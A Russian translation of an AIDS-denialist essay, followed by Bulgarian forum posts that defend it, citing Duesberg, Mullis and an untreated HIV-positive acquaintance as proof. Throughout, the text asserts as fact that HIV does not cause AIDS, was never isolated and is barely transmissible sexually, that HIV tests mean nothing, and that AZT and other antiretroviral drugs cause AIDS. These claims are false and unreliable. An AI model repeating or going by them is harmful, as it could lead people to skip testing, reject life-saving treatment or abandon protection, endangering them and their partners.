Вирусные болезни поражают обычно после инкубационного периода в несколько дней или недель, в течение которых вирус может размножаться, пока организм не выработает иммунитет. Когда для СПИДА этого не произошло, было введено понятие “медленного” вируса, задерживающего начало проявления на месяцы. Когда прошёл год, и не оказалось никаких признаков эпидемии, этот период увеличили до пяти лет; когда опять ничего не произошло - до десяти. Теперь нам говорят про десять-пятнадцать. Наличие выдумок, объясняющих неудачу прогнозов, - неизменный признак краха теории.
(Примечание: Это и не дремлющий вирус вроде некоторых видов герпеса, оживающих во время стресса. Наиболее явные признаки болезни такие вирусы вызывают во время первичной инфекции, до того, как появился иммунитет; последующие вспышки менее серьезны (присутствует, хотя и ослабленный, иммунитет), но при проявлении вирус обилен и активен. СПИД не вписывается в эту картину. Длинная задержка перед любым проявлением болезни характерна для накопительного эффекта токсичного фактора, подобно раку легкого от курения или циррозу печени от избытка алкоголя.)
Почему же, вопреки всем этим фактам утверждают, что на первом месте стоит инфекционная природа СПИДа? Если отбросить несущественное, останется только один аргумент - кажущаяся корреляция (СПИД происходит в географических и связанных с риском кластерах). Но этот аргумент не является доказательным. Жертвы авиационных аварий и жертвы мести Монтесумы также образуют кластеры, но никому не приходит в голову считать это доказательством того, что они заражают друг друга. Всё станет ещё более интересным, если внимательно посмотреть на верительные грамоты ВИЧ, объявленного переносчиком СПИДа.
Одним из главных достижений медицины за последнее столетие явилась разработка научных процедур для определения, является ли конкретная болезнь инфекционной, - т.е. переносится некоторым микроорганизмом, проникающим снаружи - и для нахождения этого микроорганизма. В противном случае болезнь является результатом некоторого фактора окружающей среды, типа дефицита пищевых компонентов, генетических особенностей, токсинов. Основные критерии этого различия, сформулированные в прошлом столетии, и широко применяемые с тех пор, известны как постулаты Коха. Их четыре, и когда все они выполнены, считается без сомнения доказанным, что болезнь инфекционная и вызвана подозреваемым агентом. В отношении ВИЧ как причины СПИДа не выполняется ни один из этих критериев.
(1) Микроорганизм должен обнаруживаться во всех случаях болезни.
По статистике ЦЭК в 25 % случаев диагностированных в США присутствие ВИЧ было предположено заранее, без фактического тестирования. Как бы то ни было, но с 1993 года более чем в 4000 случаев смерти от СПИДА люди были признаны свободными от ВИЧ. В самом последнем определении СПИДа есть категория, для которой не требуется положительный тест на ВИЧ. (Хороший вопрос: как же это может быть, если ВИЧ настойчиво считается причиной СПИДА)
Подобная логика находится вне моих способностей. Клиническое определение, данное Всемирной Организацией Здравоохранения для африканского СПИДа (принятое в 1985 году), базируется не на ВИЧ-тестировании, а на объединенных признаках (хронический понос, продолжительная лихорадка, потеря веса, и постоянный кашель), ни один из которых не является новым или необычным на африканском континенте. Последующие тестирования типовых групп, считающихся больными СПИДом, дали отрицательные результаты почти в 50 % случаев. Почему болезни, совершенно отличающиеся от внесённых в список в Америке и Европе, и теперь даже не требующие проверки ВИЧ-статуса, должны называться одним и тем же именем - другой хороший вопрос.
(2) Микроорганизм должен быть изолирован от хозяина и выращен в виде чистой культуры.
Это должно гарантировать, что болезнь порождается подозреваемым микроорганизмом, а не кое-чем иным, оставшемся нераспознанным в смеси веществ. Из клеток тканей и жидкостей пациента, действительно заражённого вирусной болезнью, выделяется так много вирусов, что взять чистый образец и сравнить с известными образцами из каталога - простейшая задача, стандартное упражнение для новичка. Было множество сообщений о выделении ВИЧ, но более плотная экспертиза показывала, что имело место слишком вольное расширение общепринятого понимания этого слова. Например, от демонстрации активной вирусной инфекции очень сильно отличается выделение с использованием химических стимуляторов фрагмента дефектной рибонуклеиновой кислоты (РНК) для того, чтобы он проявил себя в культуре клеток, отделённой от любой активной иммунной системы. Несмотря на потраченные миллиарды, не было достигнуто никакого выделения ВИЧ, отвечающего принятым у вирусологов стандартам.
(3) Микроорганизм, будучи введён в восприимчивый организм, должен быть способен вызвать исходную болезнь.
Требуется, чтобы болезнь могла быть воспроизведена путём введения предполагаемого микроагента неинфицированному, т.е. здоровому хозяину. (Но это не значит, что микроорганизм должен порождать болезнь каждый раз, иначе мы все были бы больны).
Есть два способа проверки этого условия: инъекции лабораторным животным и случайное инфицирование человека. (Преднамеренная инфекция людей была бы неэтична). Шимпанзе инфицировались, начиная с 1983 года, и наблюдалось развитие антител, показывающее, что вирус “взят”, но ни разу не наблюдалось развитие признаков СПИДа. Есть несколько туманно изложенных заявлений медицинских работников, получивших СПИД от шприцев и других ВИЧ-экспозиций, но нет ничего серьёзно документированного. Для сравнения, количество заражений гепатитом составляет 1500 в год. Значит, даже если бы был доказан случай заражения СПИДом, гепатит в сотни раз более заразен. И, тем не менее, мы всё ещё разводим панику на эту тему.
(4) Этот микроорганизм должен быть обнаружен у инфицированного хозяина.
Поскольку пункт (3) ни разу не выполнялся для СПИДА, этот пункт не имеет смысла.
Ответить на это вопиющее нарушение базового принципа, прекрасно служившего в течение столетия, можно двояко: или проигнорировать его, или заявить, что ВИЧ настолько сложен, что делает постулаты Коха устаревшими. Но постулаты Коха - просто формализация логики здравого смысла, а не утверждения относительно микроорганизмов. Законы логики, как и математика, не устаревают. И если отбросить уже установленные критерии заразности, то по каким новым критериям следует судить о заразности ВИЧ? Только по группировке подобных признаков? Только по корреляциям и без доказательств каких-либо причинно-следственных отношений? Это называется суеверием, а не наукой. И отбрасывает медицину на две сотни лет назад.
Так, когда же ВИЧ стал впервые считаться причиной? Ответ, похоже, содержится в одной из пресс-конференций. В апреле 1984 года Секретарь по охране здоровья и социальному обеспечению (Secretary of Health and Human Services), Маргарет Хеклер (Margaret Heckler) инициировала очень значимое событие, представив прессе исследователя Государственного института здравоохранения (National Institute of Health) Роберта Галло (Robert Gallo) как открывателя вируса (названного тогда HTLV-III), вероятно, вызывающего СПИД. Вопреки принятой процедуре это произошло до публикации каких-либо материалов в научных журналах, без возможности другим учёным провести предварительную проверку результатов. Явно не случайно американское публичное заявление явилось вовремя, опередив французского исследователя Люка Монтанье из парижского Института Пастера, уже опубликовавшего в литературе данные о своём открытии вируса, оказавшегося позднее тем же самым вирусом. С этого момента установилась жёсткая официальная политика. Все альтернативные исследования были закрыты, и всё федеральное финансирование было направлено на исследования, соответствующие одобренному направлению. Это не способствовало созданию обстановки разнообразия мнений среди склонных к карьере ученых, которые, будь они политически свободными, могли бы сказать, что даже если причиной СПИДа был действительно вирус, гипотеза о том, что это ВИЧ, порождает несколько довольно острых вопросов.
Сторонники ВИЧ-догмы постоянно прикрываются фразой о её “безусловной очевидности”. Когда их просят продемонстрировать это или сослаться на такую демонстрацию, они отвечают либо насмешкой, либо предпринимают ad hominem (направленную на чувства прим. перев.) атаку на приводимые доводы. Но никогда не бывает ссылок на факты. Насколько я знаю, никто не дал определённого ответа на простой вопрос, “Где исследования, доказывающие, что ВИЧ вызывает СПИД?” Это нечто такое, о чём “каждый знает”, что это правда. И хотя написаны десятки тысяч статей, никто не может написать ту, в которой говорится, почему.
Иногда делается ссылка на четыре статьи, опубликованные Гало в Science после того, как пресс-конференция досрочно объявила об обнаружении носителя прежде, чем хотя бы один внешний учёный смог увидеть его. Но даже если считать, что описанные методики действительно выделяют вирус - что весьма спорно, - они показывают присутствие ВИЧ у менее чем половины пациентов с условно-патогенными инфекциями и меньше, чем у трети больных “саркомой Калоши” - двух наиболее характерных для СПИДА проявлений. Разве это “безусловная очевидность”? Это намного ниже стандартов, которые принято применять к законченным диссертациям, не говоря уже о мобилизации федеральных ресурсов Соединенных Штатов и о закрытии всех альтернативных исследований.
Но всё обстоит ещё более шокируще.
Вирусы вызывают болезнь, убивая клетки. Когда вирусы активно размножаются в количествах, достаточных, чтобы вызвать болезнь (из-за того, что ещё не выработан иммунитет, или потому, что иммунная система слишком дефектна, чтобы его выработать), совсем не трудно выделить их из инфицированной ткани. При гриппе инфицируется треть лёгочных клеток, при гепатите - почти все клетки печени. В случае СПИДа, даже у неизлечимо больных, обычно только одна из тысячи Т-клеток демонстрирует какие-то признаки ВИЧ. И к тому же при анализе не делается различия между бездействующими или дефектными вирусами, или совершенно нефункциональными вирусными фрагментами. Но даже если каждая из этих клеток была бы смертельно инфицирована, естественный процесс обновления клеток в тридцать раз выше. Это ничего не добавило бы на шкале способности вызывать болезнь.
ВИЧ принадлежит классу “ретровирусов”, которые живут за счёт включения своей РНК в хромосомные ДНК клеток хозяина (противоположно естественному направлению передачи информации при репликации клеток, т.е. ДНК-> РНК-> белок, отсюда и его название). Когда клеточный механизм производства белка расшифровывает эту часть хромосомы хозяина, он автоматически создаёт новый экземпляр ретровируса, который покидает клетку через её мембрану. То есть ретровирус оставляет клетку неповреждённой и функционирующей, и выживает за счёт периодического включения собственной копии в процесс нормального воспроизводства клетки. Эта стратегия совершенно отлична от стратегии более распространенных “литических” вирусов, которые полностью овладевают механизмами клетки, массово воспроизводят самих себя, пока клетка не истощится, после чего разрывают мембрану, убивая клетку, и двигаются дальше как саранча. Они создают проблемы для иммунной системы и вызывают простуды, грипп, полиомиелит, бешенство, корь, свинку, желтую лихорадку, и т.п.
Ретровирус производит так мало своих копий, что становится легкой пищей для иммунной системы, натренированной в боях с литическими вирусами. По этой причине, основным способом передачи для ретровируса является переход от матери к ребенку. А это означает, что организм хозяина должен дожить до репродуктивной зрелости. Ретровирус, убивающий своего хозяина, не будет репродуктивно жизнеспособен. Изучено множество ретровирусов человека, и все они безопасны.
(Некоторые редкие раковые образования у животных вызываются специфическими генами, проникшими ретровирально в ДНК хозяина. Но в этих случаях опухоль формируются предсказуемо быстро после заражения, что полностью отличается от ситуации со СПИДом. И рак возникает благодаря неуправляемому размножению клеток, а вовсе не их убиванию)
ВИЧ соответствует признакам ретровируса и генетически незаметен. Он не убивает Т-клетки, даже в отделённых от тела культурах ("in vitro"), иммунная система не подавляет его. Для изучения ВИЧ его разводят на бессмертных поколениях тех самых клеток, которые ВИЧ, как полагают, убивает!, чтобы породить СПИД. При этом его концентрация гораздо выше, чем когда-либо наблюдалась у людей, со СПИДом или без СПИДа. Будучи отделён от организма хозяина, он быстро распадается на части, что привело некоторых исследователей, скептически наблюдавших этот ассортимент фрагментов РНК, обрывков белка и других осколков (на основании которых и было выведено его существование), к мысли о том, а есть ли вообще какой-то реальный микроорганизм.
Вопоос. Если он есть, то, что же реплицируется в этих культурных средах?
Ответ. Никогда не было с определённостью продемонстрировано, что хоть что-нибудь, извлечённое оттуда, реплицируется. Искусственное стимулирование “чего-то” с целью его самопроявления (а это может оказаться полоской кода “провируса”, населяющего ДНК клеток базовой культуры) весьма далеко от демонстрации активного патогенного вируса человеческого тела.)
По той же самой причине, ВИЧ почти невозможно передать сексуально. Для этого требуется что-то вроде 1000 отдельных контактов, по сравнению с четырьмя для подлинной венерической болезни (если не используется тот или иной безопасный секс). Следовательно, вместо свирепого клеточного убийцы, каким его рисует пресса, ВИЧ оказывается подделкой.
Большинство людей несёт следы почти каждого микроба, постоянно находящегося в их нормальной среде обитания. Причина, по которой они не болеют всё время, состоит в том, что их иммунная система гасит активность микробов либо полностью, либо до такого уровня, который не может вызвать ущерб. Иммунная система, ставшая дисфункциональной до такой степени, что не может даже держать под контролем ВИЧ, полностью разрушена. Каждая группа больных СПИДом хиреет своим путём, в зависимости от вида риска, которому подвержена, по-своему накапливает коктейль из всего, что находится вокруг: нестерильные уличные наркотики, общие шприцы, распущенность, накопление сыворотки от многочисленных доноров. С момента, когда ВИЧ начал так же тщательно регистрироваться, как и всё остальное, наблюдается спад как минимум на 5 %. И даже среди контингента, типичного для СПИДа. Следовательно, ВИЧ играет роль маркерного гена в группах риска, набирающих микробы.
Если ВИЧ фактически не выявляем даже у умерших своих жертв, как проводить тестирование на его присутствие? Оно и не делается. Делается тестирование на антитело. То есть исследуется механизм собственной защиты человека, то, что он или получил от своей матери, или чему научился в жизни, сталкиваясь с вирусами, или получая инъекции вакцин. Другими словами, исследуется путь создания вашего иммунитета. Не начинает ли это звучать немного странно?
Тестирование на наличие антитела к подозреваемому болезнетворному организму может при правильных обстоятельствах действительно иметь смысл. Если некто демонстрирует клинические симптомы (скажем, лихорадку, сыпь, пот, дрожь, бред), которые, как известно (может быть вследствие выполнения постулатов Коха), вызываются этим болезнетворным организмом, и если независимые испытания доказали существование антител, специфических для этого болезнетворного организма, тогда проверка на антитела при явном наличии симптомов может быть удобным и надежным путём подтверждения подозреваемой болезни. Но ничто из этого не относится к ВИЧ. Не только никогда не было доказано, что он может вызвать что-нибудь, но не было дано ни одного вероятного объяснения, как бы он мог это сделать. И единственный способ увидеть, что испытуемое антитело специфично для этого вируса, состоит в сравнении результатов теста с “золотым стандартом” для этого вируса. Установление стандарта требует истинного, в традиционном смысле, отделения вируса от клинических пациентов, чего никогда не было сделано. Что же тогда означает “ВИЧ-тест”, если он вообще что-нибудь означает?
Действительно полезный тест на антитела может констатировать, что наблюдаемая болезнь вызывается подозреваемым вирусом. Положительный же результат ВИЧ-теста у человека, полностью лишённого симптомов, означает либо что эти антитела он носит с рождения и никогда не встречался с этим вирусом, либо что этот вирус был успешно нейтрализован и стал невидимым. В таком контексте “ВИЧ-инфицированный” означает ВИЧ-иммунизированный. Интерпретации этого в виде предсказания, что человек умрёт через несколько лет от некоторой неспецифической болезни, имеет столько же смысла, как диагностика оспы у совершенно здорового человека из-за присутствия антител, приобретенных в детстве от прививки.
Этот тест может означать и многое другое. Наиболее распространённый тест, называемый ELISA, был разработан для отбора крови. Сейчас, когда вы смотрите, не загрязнена ли кровь, вы хотите, чтобы тест был сверхчувствительным, чтобы бил в колокола при малейшем подозрении. Если он ошибочно даёт положительный результат, вы просто выбросите пинту крови. Но если он ошибочно даст отрицательный результат, кровь пройдёт через отбор, и последствия могут быть катастрофическими. (И проблема тут не в том, в самом ли деле то, ради чего вы отбираете кровь, представляет реальный риск). Но тот же самый тест вначале был диагностическим. И когда людям говорят, что положительный результат означает неминуемое развитие болезни, которая неизбежно фатальна, это уже совсем другое.
Есть и иные причины, по которым тест может дать положительный результат, о чём даже не знали доктора, когда я с ними говорил:
предшествующая беременность,
алкоголизм,
некоторые раковые образования,
антитела малярии,
антитела лепры,
прививка гриппа,
нагревание пробы крови,
длительное хранение образца,
множество других вирусов,
различные паразитозы,
антитела гепатита В,
ревматоидный артрит.
Всемирная организация здравоохранения выполнила в России в течение двухлетнего периода 50 миллионов тестов на антитела и получила 50,000 положительных результатов. Попытки подтвердить результаты показали около 300, из которых в 50 или около того случаев действительно оказался СПИД.
Африканский СПИД одинаково поражает оба пола и часто считается гетеросексуально передаваемой эпидемией, находящейся пока в резерве для остальной части мира. Её болезненные проявления очень сильно отличаются от выявленных в Нью-Йорке и Сан-Франциско, но при этом остаются неизменными в течение всей истории тех областей Африки, где они наблюдается. Сегодня их называют СПИДом из-за корреляции с положительными тестами на ВИЧ. Но мы уже отметили, что большое количество факторов, эндемических для этих регионов (малярия, лепра, паразитические инфекции), могут сделать тест положительным. Тем не менее, приказано интерпретировать все положительные результаты как ВИЧ, автоматически увеличивая тем самым статистику СПИДа. Далее, каждый случай диагностированного таким образом “СПИДа”, если он не относится к гомосексуалисту или наркоману, считается приобретенным гетеросексуально. При таких обстоятельствах не трудно увидеть эпидемию. Людям, отчаянно нуждающимся в лучшей пище, санитарии, энергоёмких промышленных технологиях и инвестициях, вручают вместо этого презервативы.
Более 90 % жителей юго-восточной Азии являются носителями антител гепатита В. И мы все “знаем” из газет, что эпидемия СПИДа опустошает Таиланд. Фактическое число случаев этой болезни в данном регионе, с населением в десятки миллионов, было около 700 в 1991 году и около 1500 в 1993. Может быть, эпидемия, которую имеют в виду газеты, есть эпидемия тестирования на СПИД? Точно так же, как инквизиторы прошлого, современные и более усердные охотники на ведьм, применяющие их методы и их инструментарий, весьма уверены, что находят все больше и больше ведьм.
В мире грёз ВИЧ-“науки” всё становится возможным. Для борьбы с агентом, объявленным вскоре после его открытия неизбежно летальным после 10-15-летнего(?) покоя, ВИЧ-положительные, больные, равно как и совершенно бессимптомные, были посажены на препарат AZT, который был объявлен “антивирусным”. Как я полагаю, в том же самом смысле и напалм, и расплавленный свинец - противовирусные, они убивают всё. AZT был разработан в 1960-ых как химиотерапия для лейкемии, но никогда не выпускался из-за его токсичности. Это разрушитель цепочек ДНК, что означает остановку копирования молекулу. Он убивает любую клетку, которая попытается репродуцироваться. Идея воздействия на рак состоит в короткой шоковой программе, длящейся две-три недели, которая убьёт опухоль, но пациента - только наполовину, после чего его как можно скорее выводят из программы. Нельзя делать это неопределённо долго по четыре раза в день и надеяться выжить (правда, есть люди, которые не усваивают AZT, пропуская его насквозь; отсюда те единицы оставшихся в живых потребителей AZT, на которых указывают, демонстрируя, какой это доброкачественный препарат).
Химиотерапия - печально известный иммунодепрессор. Её “побочные эффекты” выглядят точно так же, как СПИД. Но всё же это - лечение по доброй воле. Никто не утверждает, что AZT действительно вылечивает или останавливает СПИД, но его потребителям говорят, что они всё равно, так или иначе, должны умереть. Это может стать одним из самых ужасных в современной истории медицины автоматически выполняющихся пророчеств. Провозглашается, что AZT приносит некоторую отсрочку. Это базируется на результатах нескольких испытаний, в которых предсказатели от биохимии увидели признаки краткосрочного улучшения (хотя [в отчёты] были включены и плохие данные, и другие комментаторы считали эти испытания ничего не стоящими). Во всяком случае, известно, что организм, подвергнутый подобного рода токсичной атаке, может на некоторое время мобилизовать оставшиеся чрезвычайные ресурсы, даже перед самой смертью. Больная курица может бегать по двору несколько секунд, когда ей отрежут голову, но это не значит, что такое воздействие дало ей какой-то прок.
За период с пятидесятых до конца восьмидесятых годов, прогнозируемый срок жизни больных гемофилией удвоился. Это произошло, потому что улучшение фактора свёртываемости крови - вещества, которое они не могут вырабатывать сами, - означало уменьшение количества переливаний крови. Накапливающаяся нагрузка постоянно вливаемых чужеродных белков, в конце концов, изнашивает иммунную систему, открывая путь заразным болезням. Многие из них приобретали ВИЧ, но показатели смертности у ВИЧ-положительных и ВИЧ-отрицательных были приблизительно одинаковыми. Затем, начиная с конца восьмидесятых, смертность ВИЧ-положительных от обстоятельств, диагностированных как СПИД, существенно возросла, и широко опубликованные исследования провозгласили это доказательством того, что СПИД у них был вызван ВИЧ. При этом не принималось во внимание, что только ВИЧ-положительные получали AZT. Никто не давал AZT ВИЧ-отрицательным. Питер Дуесберг считает, что AZT и другие “антивирусные” препараты ответственны более чем за половину случаев СПИДА, о которых сообщается сегодня.
Новейший метод диагностирования болезни, “вирусная масса”, является косвенным, далёким от любых реальных симптомов, и основан на методе “цепной реакции полимеразы” (ЦРП), который применяется для увеличения не выявляемого иначе количества молекулярного материала путём его копирования в огромных количествах. При этом ошибки возрастают во столько же раз. Было доказано, что математическое основание этой модели фатально порочно и базируется на неправильных предположениях. Изобретатель метода ЦРП, нобелевский лауреат Кэри Муллис (Kary Mullis), считает такое применение своего метода совершенно неправомерным.
И история AZT (спешные публикации о чудесных исцелениях, основанные на отобранных анекдотических сообщениях и незаконченных испытаниях, производимых бесконтрольно), кажется, собирается повториться с новым лекарственным “коктейлем”, основанном на ингибиторах протеазы (ИП). Исследователи, работавшие над ИП, всю свою профессиональную жизнь, категорически заявляют, что эти вещества неспособны выполнять то, о чём широко объявлено. Их эффективность оценивалась путём измерения уменьшения “вирусной массы”, хотя никто не продемонстрировал соответствие этого показателя хоть чему-нибудь, определяющему болезнь в реальном, физическом мире. “Контроль” производился путём сравнения вирусной массы у людей, получавших коктейль, с прежним уровнем, когда они получили AZT. Сокращение принято за признак того, что коктейли уменьшили болезнь. На том же основании можно заявить, что жевательная резинка останавливает рак, потому что уменьшается количество курильщиков, продолжающих его развивать.
Хотя основная печать не сообщает об этом, возрастающее число научных и медицинских профессионалов приходит к позиции Дуесберга или близки к ней. Многие, особенно те, кто имеет слабые позиции по службе или нуждается в финансировании, ведут себя тихо и воздерживаются от публичных комментариев. Взглянув на то, что произошло с Дуесбергом, можно понять, почему. Один из пионеров в исследовании ретровирусов -впервые составивший карту ретровирального генома, семикратный лауреат Премии Государственного института здравоохранения за свои выдающиеся исследования, выдвигавшийся на получение Нобелевской премии - был подвергнут дискредитации, оскорблялся на конференциях; его финансирование было урезано до такой степени, что он больше не может позволять себе секретаря. За два года было отвергнуто семнадцать предложений по финансированию исследований альтернативных гипотез СПИДА. Были отклонены его публикации в научной литературе. В нарушение самых фундаментальных научных традиций не дали даже ответить на личные нападки, опубликованные в журнале Nature. Его уже объявленные в программе выступления в ток-шоу неоднократно отменялись в последний момент после вмешательства должностных лиц Государственного института здравоохранения и Центра эпидемического контроля.
Дуесберга обвиняют в безответственности на том основании, что его взгляды угрожают доверию к общественным программам здравоохранения, основанным на ВИЧ-догме. Но научная истина не зависит от восприятия её последствий. Общественная политика должна следовать за наукой. Попытка сделать наоборот становится Лысенковщиной (Lyshenkoism).
В любом случае, что в этих программах такого, что должно было бы требовать хоть какой-нибудь конфиденциальности? За все эти годы они не сумели ни спасти хоть одну жизнь, ни произвести вакцину. (А если бы и произвели, то для кого? Задача вакцины - стимулировать производство антител, и ВИЧ-положительные уже их имеют). Не было выдвинуто никакого правдоподобного механизма, с помощью которого ВИЧ убивает Т-клетки. И миллиарды долларов продолжают тратиться каждый год в попытке распутать тайны того, как ВИЧ может сделать вас больным, не присутствуя при этом, и как антитело может нейтрализовать вирус, но при этом оставлять болезнь. Научные принципы, которые выдержали испытание столетиями, произвольно отвергнуты, а вместо них предлагается такая логика, которая смешивает всё в одну кучу. В конце концов, лучшее, что нам предложено - средство, являющееся смертельным, даже если болезни нет. При этом запрещено рассматривать любые альтернативы, все несогласия подавляются. Это путь не науки, а фанатичной религии, подавляющей ересь.
Истиной жертвой (возможно, ещё не смертельно больной, а пока только выглядящей бессильной) стала интеллектуальная порядочность и застывшая наука. Может быть, в своём вырастании из детских штанишек. Наука должна ещё научиться кланяться, чтобы произвести антитела для собственной защиты от условно-патогенных инфекций и догматизма. И она, видимо, может это, если взглянуть на протяжённый период времени. Сегодня каждый помнит Галилея. А сколько человек могут называть епископов, которые отказались смотреть в его телескоп?"/
Като я прочетеш ще видиш колко е опасно, наистина. А най-опасното е, че слагат клеймо на хората и ги обричат на изолация, без да са болни реално. Аз лично се запознах с една българка, ужким заболяла. Обясних й нещата, то не й се вярваше много. Накрая й казах, че според много от медиците, които поддъжат дисидентската теория, ако това е наистина едно прогресивно вирусно заболяване и, ако човек не взема лекарства, би трябвало наистина Т-клетките му да намаляват прогресивно. Тя не се лекуваше, а и беше бедна - никакво качествено меню, което да поддържа имунитета й, НО ВЪПРЕКИ ТОВА, каза че вече над 5 годии Т-клетките й ту се увеличават, ту намаляват..., както и на всеки здрав човек. Струва си върху какво да се замислим, а и, все пак, зад теорията стоят авторитети, вкл. и двама Нобелови лауреати, ако не са станали и повече.
225. Нямам никаква крайна наивност, нито крайна подозрителност. Просто не се подвеждам по всяка теория, само защото е изказана от гений като Ленин или пък в момента е научна парадигма като основната теория за ХИВ. Ето защо най-научно-философски те запитах какво следва от ФАКТ, че:
Има А, има и Б.
+
Има А, но няма Б.
+
Няма А, но има Б.
+
Няма А, няма Б.
ИЗКЛЮЧВАШ СЕ ОТ ВСЯКАКВО СЪДЪРЖАНИЕ И УБЕЖДЕНИЯ, И СИ ПРЕДСТАВЯШ, ЧЕ СИ АРИСТОТЕЛ + ДЕКАРТ, примерно + ЛИЛИЯ, която демонстрира на теория тук обективност и разбиране както на науката, така и на философията на едно доцентско ниво, и пр., И МИ КАЗВАШ ЧИСТО ЛОГИЧЕСКИ (т.е. без значение на твоите съдържания и убеждения, и каквото има още), какво следва от горното. (Ако искаш да не са А и Б, може да са X и Y, но мисля, че не е това причината да не ми дадеш своя анализ досега.)
"Далай, драги, какво те накара да повярваш на Хоган (който не е специалист, а ПИСАТЕЛ, и то известен с пристрастията си към екзотични ненаучни теории - вж биото му във WIKI)"
Ако ще и да е обущар, ако някой говори обосновано, научно и максимално обективно, аз не му вярвам, а ГО РАЗБИРАМ. И човекът е изложил в случая много добри традукции, най-малкото. Отделно, нали си философ на науката, трябва да знаеш, че често ПРАВИ В ЕДНО ОТНОШЕНИЕ УЧЕНИ/ФИЛОСОФИ, не са били прави в друго. Тоест това, че някой поддържа И РЕДИЦА ПОГРЕШНИ ВЪЗГЛЕДИ (като това, примерно да вярва в богове или Бог, и пр.), той може да има и РЕДИЦА или ПОНЕ НЯКОЛКО правилни възгледи.
" а не на аргументите на хора, които са посветили години от живота си на изследвания на
човешката имунна система и причините за нейните сривове. (Голямата част от тях не са по никакъв начин зависими от фармацевтичните компании)"
1. Няма независими учени. Ако не е от фармацевтична компания, то ще е от правителство.
2. Некоректно е, че сведе всичките доказателства до автора на статията и пропускаш факта, че теорията се подкрепя и от Нобелови лауреати, които също са си посветили живота на това, което казваш. Щом като за тебе ИСТИНОСТТА И ЦЕНОСТТА НА ДАДЕНА ТЕОРИЯ СЕ ОПРЕДЕЛЯ НЕ ОТ ВЪТРЕШНИТЕ Й СВОЙСТВА, А ОТ ГЕНЕЗИСА, Т.Е. ОТ АВТОРИТЕТИТЕ, ДА ВЗЕМЕМ ДА ПОСОЧИМ И АВТОРИТЕТИТЕ ТУК:
1.1. Доктор Робърт Уилнър си прелива целенасочено "заразена кръв". Питат го защо, човекът казва - "Искам да спомогна за развенчаване на мита." Минават над 25 години след това и той не се разболява.
1.2. Peter Duesberg - молекулярен биолог, професор, който е толкова популярен, че едва ли има нужда да пиша тука, няма да мога да разкажа по-добре от вече написалите за него и за приноса му, както и за големите му административни проблеми след оповестяването на теорията си.
1.3. Kary Mullis - Нобелов лауреат по биохимия, който поддържа Дюсбърг.
1.4. Медицински екип от Австралия, завеждан от една лекарка с гръцко име, не си я спомням.
1.5. Heinz Ludwig Sanger - професор по вирусология и микробиология от Германия.
1.6. Etienne de Harven - професор по патология, Канада.
1.7. Roberto A. Giraldo - доктор-имунолог и специалист по заразни болести.
1.8. Владимир Александрович Агеев - кандидат на медицинските науки, патоанатом, Русия.
1.9. Ирина Сазонова - доктор, автор на книги по темата. Русия, Москва.
Не мога да изброя всички. През 2005 като се разписвах в подкрепа (а подкрепа се приемаше от хора с поне бакалавърска степен) имаше над 6000 човека от цял свят - Корея, Англия, Франция и пр., които бяха с различни професии и степени, включително и медици. Като се разтърси човек и може да намери различни имена на хора, които се опитват ДА МИСЛЯТ НЕЗАВИСИМО, а не да си служат с Argumentum ad hominem. А ти щом като критикуваш статии не откъм съдържанието, а откъм човека, който ги е писал, вече ще гледам да ти предоставям само статии на авторитети, които може и да не са толкова добри, но пък ще са по-убедителни за тебе. Не е никак философски този подход, но ти призоваваш експлицитно да бъде прилаган в дискусии с тебе.
За линка, който си ми дала от Уикипедията - това са контрааргументите на аргументите. Да, има си и контрааргументи, не съм казал, че няма. Въпросът е доколкото са верни, правилни, коректни. Може да се изследват един по един, както предлага Попър, на парче, което също е вариант. Но общо погледнато, ако човек е философ не може да лапне толкова лесно теория, при която се казва, че Б причинява ЗАДЪЛЖИТЕЛНО А, независимо, че понякога има А, без Б.
Да не забравяме и МЕЖДИННАТА ТЕОРИЯ на един от колегите на Дюйсберг, че ВИЧ-ът е кофактор просто.
Аз съм коректен и си давам сметка, че засега сме само на ниво 3 ТЕОРИИ, като аз симпатизирам на 2 от тях, но не мога да ставам ЕПИСКОП НА ДАДЕНА ПАРАДИГМА, особено, ако не може да се защити качествено и, ако има толкова много контра- и като факти , и като теория срещу нея.
"А аз наистина като се поосвободя ще обясня как е възможно да са налице и четирите случая, за които говориш в пост 11 и в същото време между А и Б да е налице каузална зависимост."
А, това не го бях прочел. Добре. Ще се радвам да си дадеш мнението на чисто ФОРМАЛНО НИВО, без да се влияеш от СЪДЪРЖАНИЕТО, след което, като на по-неспециалист в логиките да ми дадеш и като на дете няколко СЪДЪРЖАТЕЛНИ ПРИМЕРА.
Аз като ти пиша тези работи ти ги пиша с цел да си помогна, ползвайки твоя мозък за изяснаване на теорията (понякога съм receiver, не само giver :) тоест "получаващ", не само "даващ"), а не, за да пропагандирам секс без презервативи и пр. (Всеки знае за печалния ми опит от такова поведение, така че просто за ХИВ-дисидентството говоря от научна гледна точка. А и, пак повтарям, никой хив-дисидент не отрича, че има СПИН, нито пък отрича, че има венерически болести. Просто смятат, че СПИН е синдром, който се получава от различни причини, а не от ХИВ.)
(Следва...)
-
226. Sapir-Whorf hypothesis - хипотеза за лингвистическата относителност. /Просто казано - езикът, който говорим, формира мисленето ни, напр. определя нещата, които мислим или можем да мислим. Линк към руската статия: https://ru.wikipedia.org/wiki/Гипотеза_лингвистической_относительности (https://ru.wikipedia.org/wiki/Гипотеза_лингвистической_относительности)./
227. Ами това е грешката на много мислители, че като мислят за нещо АБСТРАКТНО и не си дават малко зор да помислят за нещо КОНКРЕТНО като луканките, лютениците и презервативите и, затова, в един момент започват тези мислители да мислят неща, които толкова стават абстрактни, че накрая изгубват пряка, а по-нататък и по-близки опосредставани връзки с действителността и, както казва Платон, макар и по друг повод, си служат не с копие на действителността, а с копие на копието и, поради неточността или, направо, изкривеността на копията се стига до такива твърдения, че водата гори, защото е съставена от водород, който гърми и кислород, който гори...(само дето това не се случва в нормални температурни условия, да речем) или се твърди, че от една топка стават 2 други, напълно еднакви, ама само на теория и то, ако теорията ни е с твърдението, че точката е "безкрайно малка" и има безкрайно много точки...Това си е форма на идеализъм.
Деленето на зародишните клетки няма нищо общо с делимостта на материята. А и също не е до безкрайност, защото безкрайното делене = тумор (злокачествен тумор = рак). След определен брой деленета клетките мрат или стават ракови, които пак мрат, я убити от имунната система, я самоубили се, убивайки организма.
